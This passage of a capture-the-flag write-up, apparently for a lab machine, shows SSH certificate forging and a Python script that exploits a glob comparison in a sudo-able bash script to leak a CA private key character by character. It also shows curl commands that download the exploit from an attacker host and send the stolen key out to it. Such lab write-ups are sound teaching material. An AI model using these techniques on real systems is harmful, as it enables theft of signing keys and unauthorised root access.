for usr in `cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:' | grep -v root | cut -d ':' -f 1`; do \
echo "---------------"; \
echo "Searching for user: $usr"; \
find . -maxdepth 3 -type f ! -path '/proc/*' ! -path '/dev/*' -exec $GREP_PROG -H $usr {} \; 2>/dev/null; \
done

However, the name support yields far too many results to read through. I’ll do a search like this, but only for zzinter instead:

GREP_PROG=$(which zgrep || which grep)
USR=zzinter; 
echo -e "\nFinding files with $USR in their name..."; 
find . -iname "*$USR*" 2>/dev/null; 
echo -e "\nSearching through all files for mentions of $USR..."; 
find . -maxdepth 2 -type f ! -path '/proc/*' ! -path '/dev/*' -exec $GREP_PROG -H $USR {} \; 2>/dev/null;

searching for zzinter

The home directory is obvious, but what’s this `/etc/ssh/auth_principals/zzinter file?

auth principals

As per ChatGPT, there could be one file for each user with permitted SSH login, and content of each file lists the permitted principals that each of those users can take on. Very interesting!

Maybe I can make a key to log in as zzinter, just like I did for support:

ssh-keygen -t rsa -b 4096 -f zzinter -N birb12345
vim sign_key_api.sh  # add zzinter_temp to list of allowed principals
./sign_key_api.sh zzinter.pub "zzinter" "zzinter_temp" | tee zzinter-cert.pub

Seems like I got a valid key as a reply from the API, so let’s try it out!

ssh -p 2222 -i ./zzinter -i ./zzinter-cert.pub zzinter@$RADDR 

zzinter ssg ssh

It worked perfectly! 👍

Local Enumeration - zzinter

Since we saw the permissiosn on /opt/sign_key.sh only allowed zzinter to read the script, I suspect that zzinter is probably in the sudoers list. Check this with sudo -l:

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh

Suspicion confirmed! We can run that one script as sudo. It’s likely this is the PE vector. Let’s read through the script and see how we can utilize it:

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

Analysis - sign_key.sh

The script is remarkably similar to the one we already found in the itrc host. The key difference is that this script performs the call to ssh-keygen itself, instead of delegating it to an API endpoint.

The final line at the bottom has some odd arguments, so here’s a summary of it:

  • -s "$ca_file" Specifies the CA’s private key file ($ca_file) used to sign the public key.
  • -z "$serial" Sets the certificate serial number to $serial. This is a unique identifier for the certificate.
  • -I "$username" Sets the key identity or certificate identity to $username. This is typically used to identify the user or system associated with the key.
  • -V -1w:forever Sets the validity period of the certificate. -1w means the certificate is valid from one week before the current time, and forever means it will never expire.
  • -n "$principals" Specifies the principals (usernames or hostnames) for which the certificate is valid. $principals can be a comma-separated list.
  • "$public_key_name" The public key file ($public_key_name) that is being signed.

Now let’s consider the user-controllable inputs to this script:

  • ca_file must exist, but we can determine its contents.
  • public_key_file must exist, but we can determine its contents too. If we want the script to run, it’ll need to be a valid OpenSSH pubkey.
  • username should be root. Otherwise, why would we be using this for privesc?
  • principal must be in the list webserver,analytics,support,security. However, we already know that root can only take on the principal root_user… How will we get past this?
  • serial must be a number, according to the regex that it gets applied to.

Before we make any crazy attempts to exploit this script, I’ll take a look at /etc/ssh/ca-it:

ca-it file

Ah, ok… we can’t access it! Diving a little deeper into the SSHD config files, we can see this this is the trusted CA for the system:

We can also see that password authentication is disabled - so finding a way to obtain a signed SSH key to access root is almost certainly the way to escalate privilege! 👇

sshd config

Exploitation - sign_key.sh

Alright, so we don’t have any way of actually reading ca-it directly, but since we can sudo the script, can we get the script to do it for us? Theoretically, yes we can!

Anyone who’s messed around with bash scripts extensively may have done a double-take at this part of the script:

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

It seems innocuous, right? The vulnerability is in the way that the comparison is made to the variable $ca:

  • $ca is user-controllable, albeit indirectly
  • $ca is on the righthand side of the == comparison

These two factors mean that the comparison is vulnerable to using a wildcard match. The idea is exactly the same as the privesc that I did in Codify. Please give that a read for more detail on why the code is vulnerable.

In short, we can make it so a comparison like this is actually made:

if [[ $itca == "a*" ]]; then

Performing that comparison would tell us whether or not contents of the file /etc/ssh/ca-it starts with an a. By cycling through the whole character set, we can read the file. Character by character, we can read the whole file! This is also conceptually very similar to how I dumped the SSH keys at the end of Intentions. For that code, please see my github repo for it.

Planning

The gist is that we need to keep guessing characters until we find correct ones, then append that to the “known” part of the cert. Eventually, we will build up the guess to a point where we know it is complete:

ADLOLNEInYietpigauleiszsreefKenwSltrKkoiseehAltecn=ewtultepehAwcneoynhfetptepihcrwOfcecetplaetnpppOitrhnegedrerapxadrunca=?pnerenfredac=?aSftn?NersttsrtrSiS?oxoehosadegctHxeSptmteruenHeerdstssedAlkpenptoetwnendrpttahoret

This should eventually lead to us copying the /etc/ssh/ca-it file, which can normally only be read by root. As we saw already in the SSHD configs, that CA is trusted by the host: if we gain a copy of that trusted CA certificate, we can sign any SSH keys we want and they will be implicitly trusted by the host!

  1. Obtain a copy of the CA certificate private key, ca-it
  2. Create a new keypair, to be used for the root user on ssg.
  3. Sign the public key from the generated keypair, thus making it trusted implicitly by ssg
  4. Log in as root

Implementation

In my actual script, I added in a few things to make it pretty. I’ve omitted all that stuff to make it simpler here:

import subprocess
import string

charset = list(
    string.ascii_lowercase +
    string.ascii_uppercase +
    string.digits + '/+=\n- '
)

prefix = '-----BEGIN OPENSSH PRIVATE KEY-----'
suffix = '-----END OPENSSH PRIVATE KEY-----'
test_file = '/tmp/.Tools/my_test_ca_file'
script = '/opt/sign_key.sh'
command = ["sudo", script, test_file, "/tmp/.Tools/ssg_root.pub", "root", "root_user", "123456"]

found_bytes = prefix
while True:
    # Check if we've found the whole file
    if found_bytes.endswith(suffix):
        print(found_bytes)
        break
    found_c = None
    for c in charset:
        # Write the test file
        write_file(found_bytes + c + '*')
        print_by_line(found_bytes + c)
        # Run the script, supplying the test file as the first argument
        try:
            # Run the subprocess, check return code
            process = subprocess.run(command, capture_output=True)
            # Check if the expected error message is in the output
            if process.returncode == 1:
                found_c = c
                break
        except subprocess.CalledProcessError as e:
            continue
            #print(f"An error occurred: {e}")
    if found_c is None:
        break        
    found_bytes += found_c

print(found_bytes)

When the script finishes, /tmp/.Tools/my_test_ca_file should contain a copy of /etc/ssh/ca-it.

To prepare for privesc, let’s generate a keypair for the root user. I’ve done this from my attacker machine, but it could also be done on the target. Then, find a way to get the pubkey onto the target:

# Generate a keypair
ssh-keygen -t rsa -b 4096 -f ssg_root -N birb09876
# Serve the pubkey to the target, using http
cd ../www
cp ../keys/ssg_root.pub ./
cp ../exploit/privesc/read_ca-it.py ./
simple-server 8000 -v

On the target host (ssg), download the exploit script and the pubkey:

We could actually use any valid OpenSSH key. This one is just a placeholder to pass to the /opt/sign_key.sh script.

mkdir -p /tmp/.Tools && cd /tmp/.Tools
curl -O http://10.10.14.5:8000/ssg_root.pub
curl -O http://10.10.14.5:8000/read_ca-it.py
chmod +x read_ca-it.py

With the files in place, run the exploit script. Once it’s done, exfiltrate the copy of ca-it that we generate. To avoid spoiling the box for others, clean up behind ourselves:

# Run the script. It takes a few minutes
python3 read_ca-it.py
# Upload the result to the attacker (or just copy-paste)
curl -X POST -F 'file=@my_test_ca_file' http://10.10.14.5:8000
rm -rf /tmp/.Tools

reading ca-it

Use the CA cert that we generated to sign the pubkey from the root user keypair that we made earlier:

Note that the serial number 12345 is totally arbitrary. All the other args need to match how I’ve shown it here, though 👇

mv my_test_ca_file ca-it
vim ca-it  # There was an extra byte on the end, clean it up
chmod 0600 ca-it
# Sign the key using the CA cert we just obtained
ssh-keygen -s "ca-it" -z "12345" -I "root" -V -1w:forever -n "root_user" "ssg_root.pub"

This will sign the pubkey, creating a new file ssg_root-cert.pub. After restricting the file permissions, we can use the private key ssg_root and the signed pubkey ssg_root-cert.pub to log in as the root user:

# Copy over the root ssh key too
cp ../keys/ssg_root ./
chmod 0600 ssg_root
ssh -p 2222 -i ./ssg_root -i ssg_root-cert.pub root@$RADDR

root ssh

That’s all there is to it! We can see the root flag in the usual spot. cat the flag to finish off the box:

cat /root/root.txt

CLEANUP

Target

On the itrc host, I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

I already did this on the ssg host.

Attacker

It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

There’s also a few entries to clean up in my hosts file:

sudo vim /etc/hosts

LESSONS LEARNED

two crossed swords

Attacker

  • 🤷‍♂️ Dont’ feel too bad about checking the forums early. It can be a very productive sanity-check. Early on in this box, during Recon, I wasted nearly 2 hours persuing the regreSSHion vulnerability. Why was I so fixated on this one vulnerability? Well, because my instance kept starting up without any HTTP running! All I was seeing were ports 22 and 2222, so naturally I assumed that the foothold would be one of the SSH services.

  • 🐘 PHP stream wrappers are an easy target. On this box, we utilized the phar:// wrapper to “peek inside” a zip file and execute the PHP code within. I find it a little crazy that it’s even possible to do that. I’ll definitely be remembering this trick for next time I find a file upload feature of a PHP-based web app. Even though we used a reverse shell, we could have just as easily used a webshell.

  • #️⃣ Custom bash scripts are almost always the privesc vector. It is notoriously difficult to write secure bash scripts. On this box, we abused the fact that the author accidentally wrote an == comparison backwards: if they had exchanged the lefthand side and righthand side, that clause would have been secure. As an attacker, always pay extra attention to custom bash scripts.

two crossed swords

Defender

  • 🔥 Dear PHP, I love you but you’re a dumpster fire. It’s a very convenient language for easily building a funcitonal web application, but it’s also full of holes an bypasses. I think developers should gravitate towards more “secure by default” server-side languages when developing web apps.

  • 🏹 Clean up orphaned entities. On this box, zzinter had already deleted their SSH keys for the ssg host. So… why did they still have an account on that host? And why did that account still have sudo privileges? I understand that they were in a time of transition for handling their certificate management, but this is no excuse for IT sloppiness.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake